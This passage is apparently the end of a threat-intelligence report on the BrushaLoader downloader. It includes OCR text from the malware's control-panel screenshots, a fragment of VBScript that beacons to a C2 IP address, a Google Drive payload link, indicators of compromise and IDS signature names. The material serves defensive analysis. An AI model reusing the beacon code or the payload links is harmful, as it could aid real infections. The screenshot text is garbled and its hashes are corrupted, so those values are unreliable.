Panel Home jSloader Options Choose file No file chosen Submit Options File Options File Oli SHA1: MD5: Size: Oli Closes file chosen SHA1: MD5: Size: Oli Closes file chosen Size: Oli Closes file chosen Size: Oli Sef9515e8fd92a2554dd2dcd9c4b50afa8007b8f 69512db8eb910784d75a5e4df954001 774200 Opwershell get-filehash -algorithm md5 youfile.exe Out Urt Https://drive.google.com/uc?export=dowmload&confirm=no_antivirus&kid=1jm7kuhtLv1sBy6Z75- kngwSB98thPtnh	← → C (i) 107.175.83.150/options		
Submit Submit Submit Options File SHA1: MD5: Size DII Steat 1c6e50281fc2832275f0f675031c853d26ac0a8d 69752cbaf6ebcf4dcd095549420e9ee5 181248 Exe Steat 74200 5ef9515e8fd92a254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 74200 Powershell get-filehash -algorithm md5 youfile.exe Url Url https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1sBy6Z7E-knqw5B98thPtnh Url	Panel Home jSloader Options		
Options File MD5: Size DII Size 1c6ce50281fc2832275f0f675031c853d26ac0a8d 69752cbaf6ebcf4dcd095549420e9eese 181248 1c6ce50281fc2832275f0f675031c853d26ac0a8d 69752cbaf6ebcf4dcd095549420e9eese 181248 1c6ce50281fc2832275f0f675031c853d26ac0a8d 66r12d88eeb910784d75a5e4df954001 77200 1c6ce50281fc2832254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 77200 1c6ce50281fc2832254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 77200 1c6ce50281fc2832254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 77200 1c6ce50281fc2832254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 77200 1c7ce50281fc2832254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 77200 1c7ce50281fc2832254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 77200 1c7ce50281fc2832254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 77200 1c7ce50281fc2832254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 77200 1c7ce50281fc2832454d24cd049c4b50afa8007b8f b6c12d88eeb910784d75a5e4df95401 77200 1c7ce50281fc283298th7tnh b6c12d88eb910784d75a5e4df95406 b	Choose file No file chosen Submit		
SHA1: MD5: Size: DII DII 69752cbaf6ebcf4dcd095549420e9ees 181248 C6c6e50281fc2832275f0f675031c853d26ac0a8d 69752cbaf6ebcf4dcd095549420e9ees 181248 C6c6e50281fc2832275f0f675031c853d26ac0a8d b6c12d88eeb910784d75a5e4df954001 774200 C6c6e50281fc2832275f0f675031c853d26ac0a8d b6c12d88eeb910784d75a5e4df954001 774200 C6c6e50281fc2832275f0f675031c853d26ac0a8d b6c12d88eeb910784d75a5e4df954001 774200 C6c6e50281fc2832275f0f675031c853d26acfa8007b8f b6c12d88eeb910784d75a5e4df954001 774200 C6c6e50281fc2832275f0f675031c853d26acfa8007b8f b6c12d88eeb910784d75a5e4df954001 774200 C7c6e50281fc2832275f0f675031c853d26acfa8007b8f b6c12d88eeb910784d75a5e4df954001 774200 C7c70281fc283295th9128h b9000000000000000000000000000000000000	Options File		
Dil fc6e50281fc2832275f0f675031c853d26ac0a8d 69752cbaf6ebcf4dcd095549420e9ee5 181248 C Exe 774200 Sef9515e8fd92a254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 774200 Powershell get-filehash -algorithm md5 youfile.exe 774200 Url Url 1 https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1s8y6Z7E-knqw5898thPtnh Sef9515e8fd92a254dd2dcdeds4b50afa8007b8f	SHA1:	MD5:	Size
fc66e50281fc2832275f0f675031c853d26ac0a8d 69752cbaf6ebcf4dcd095549420e9eee5 181248 Exe 5ef9515e8fd92a254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 774200 powershell get-filehash -algorithm md5 youfile.exe Url Url Url https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1s8y6Z7E-kngw5898thPtnh Url Url	DII		
Exe Sef9515e8fd92a254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 774200 powershell get-filehash -algorithm md5 youfile.exe powershell get-filehash -algorithm sha1 youfile.exe ftps://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1s8y6Z7E- knqw5898thPtnh	fc6e50281fc2832275f0f675031c853d26ac0a8d	69752cbaf6ebcf4dcd095549420e9ee5	181248
Sef9515e8fd92a254dd2dcdd9c4b50afa8007b8f b6c12d88eeb910784d75a5e4df954001 774200 powershell get-filehash -algorithm md5 youfile.exe powershell get-filehash -algorithm sha1 youfile.exe Url https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1sBy6Z7E-knqw5B98thPtnh	Exe		
powershell get-filehash -algorithm md5 youfile.exe powershell get-filehash -algorithm sha1 youfile.exe Url https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1sBy6Z7E- knqw5B98thPtnh	Sef9515e8fd92a254dd2dcdd9c4b50afa8007b8f	b6c12d88eeb910784d75a5e4df954001	774200
Url https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1sBy6Z7E- knqw5B98thPtnh	powershell get-filehash -algorithm md5 youfile.exe		
Url https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1sBy6Z7E- knqw5B98thPtnh	powershell get-filehash -algorithm sha1 youfile.exe		
https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1sBy6Z7E- knqw5B98thPtnh	Url		
	https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1jm7kuhtLv1sBy6Z7E- knqw5B98thPtnh		

Copyright (c) Panel

Figure 10: BrushaLoader C&C panel - The Google Drive link is the payload sent via raw TCP after PowerEnum fingerprinting

Home	× +		
← → ♂ ଢ	(i) 107.175.83.148/jsloader/	◙ ☆	Q Search
Panel Home jSloader	Options		
javascript textarea			
'you fax pc dim MyArray, faxurls, https	d		
Function Skip(date) On Error Resume Next Call MypcMessage(date) End Function			
Function showPcFaxPc() On Error Resume Next While true dim myfaxpcurls, youfax youfaxpcdate = FormatE myfaxpcurls = "http://10 WScript.Sleep 12 Call Skip(myfaxpcurls) Wend End Function	pcdate DateTime(Now, vbLongTime) 7.175.83.148/faxid/328504/" + youfaxpcdate 000		

Copyright	(C)	Panel	-	author	Rusha
-----------	-----	-------	---	--------	-------



Conclusion

Though one of many downloaders in regular use, BrushaLoader has emerged in connection with numerous secondary payloads such as DanaBot and prolific actors including TA544. We have observed it in multiple geographies and a variety of campaigns. Moreover, insights from the command and control panel suggest high infection success rates for the loader, enabling deployment of a range of payloads by actors using the malware. While loaders fail to garner headlines like high-profile ransomware attacks, they have emerged as a key element of many threat actors' toolkits. We will continue to monitor trends around this malware family and BrushaLoader in particular.

Acknowledgement

We would like to thank <u>@Racco42</u> for his multiple inputs in our tracking in the past year.

References

[1] https://4programmers.net/Forum/Off-Topic/310825-vbs_wirus_analiza?p=1490086

[2] https://urlhaus.abuse.ch/url/85687/			
[3] https://urlhaus.abuse.ch/url/74920/			
[4] https://urlhaus.abuse.ch/url/154856/			
5] https://urlhaus.abuse.ch/browse.php?search=chkesosod			
6] https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan- round-out-landscape-0	while-emotet	<u>-and-line-phishin</u>	<u>g-</u>
7] https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganograp	<u>ny-to-distribu</u>	te-urlzone/	
[8] https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.htm	<u>II</u>		
Indicators of Compromise (IOCs)			
IOC	ЮС Туре	Description	Date
eb12ece1bb8ebaf888282db3c6c852f3e21397d60b45a694c424690b2d6fe838	sha256	Ursnif dropped by BrushaLoader	2018 08-21
bf70c2a22bfb0cc952b29689394e623b632f1c3371f2a6864fd26514639393aa	sha256	Canada focused Gootkit dropped by BrushaLoader	2018 08-02
a3f00f3b77faed13f24c8d572fe59ac38a2467449a60a1b9dc1c64baeb145b0a	sha256	PowerEnum	2019 03-08
04869bef3007a33e8bf9b14bd650e2b872daa6d2bb2b5ea35d4cb271f35d49e2	sha256	PowerEnum	2019 06-19
d994f65735bb53dda95f7ab097e59bbd2043f8091d246bc4e21ba55ba6bda764	sha256	Poland focused Nymaim dropped by BrushaLoader	2018 12-27
a1a6886f86ac1080d2fc3d645a8a1223209bfb1e91918d90a99b06d559ccb010	sha256	aced-VBS spread by TA544	2019 05-14
fees.tetofevent[.]online 210.16.101[.]169	domain <i>IP</i>	GidensTDS leading after filtering to BrushaLoader download	2019 02-07
analiticap[.]info 185.203.117.63	domain <i>IP</i>	PowerEnum (dropped by Fallout) C&C	2019 06-06

ET and ETPRO Suricata/Snort Signatures

2832054 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OSVersion. Version) 2832055 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (GetCurrent User) 2832053 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32 Get-WmiObject) 2833475 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32 ComputerSystem) 2833477 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (System Language) 2833476 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OS Install Date) 2833475 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32 ComputerSystem) 2833477 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (System Language) 2833476 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OS Install Date) 2833478 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32 VideoController) 2832054 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OSVersion.Version) 2832055 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (GetCurrent User) 2832053 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32 Get-WmiObject) 2833475 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32 ComputerSystem) 2833477 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (System Language) 2833476 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OS Install Date) 2833478 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32 VideoController) 2833472 || ETPRO CURRENT EVENTS PowerShell Downloader Saving Payload to AppData Inbound Over Raw TCP 2834482 || ETPRO TROJAN PowerEnum Sending Base64 Payload Part 1

2834483 || ETPRO TROJAN PowerEnum Sending Base64 Payload Part 2

2833473 || ETPRO CURRENT_EVENTS PowerShell Loader with Wide Base64 Encoded Stage 2 Inbound Over Raw TCP

Subscribe to the Proofpoint Blog

2019-

06-06

Affid 4)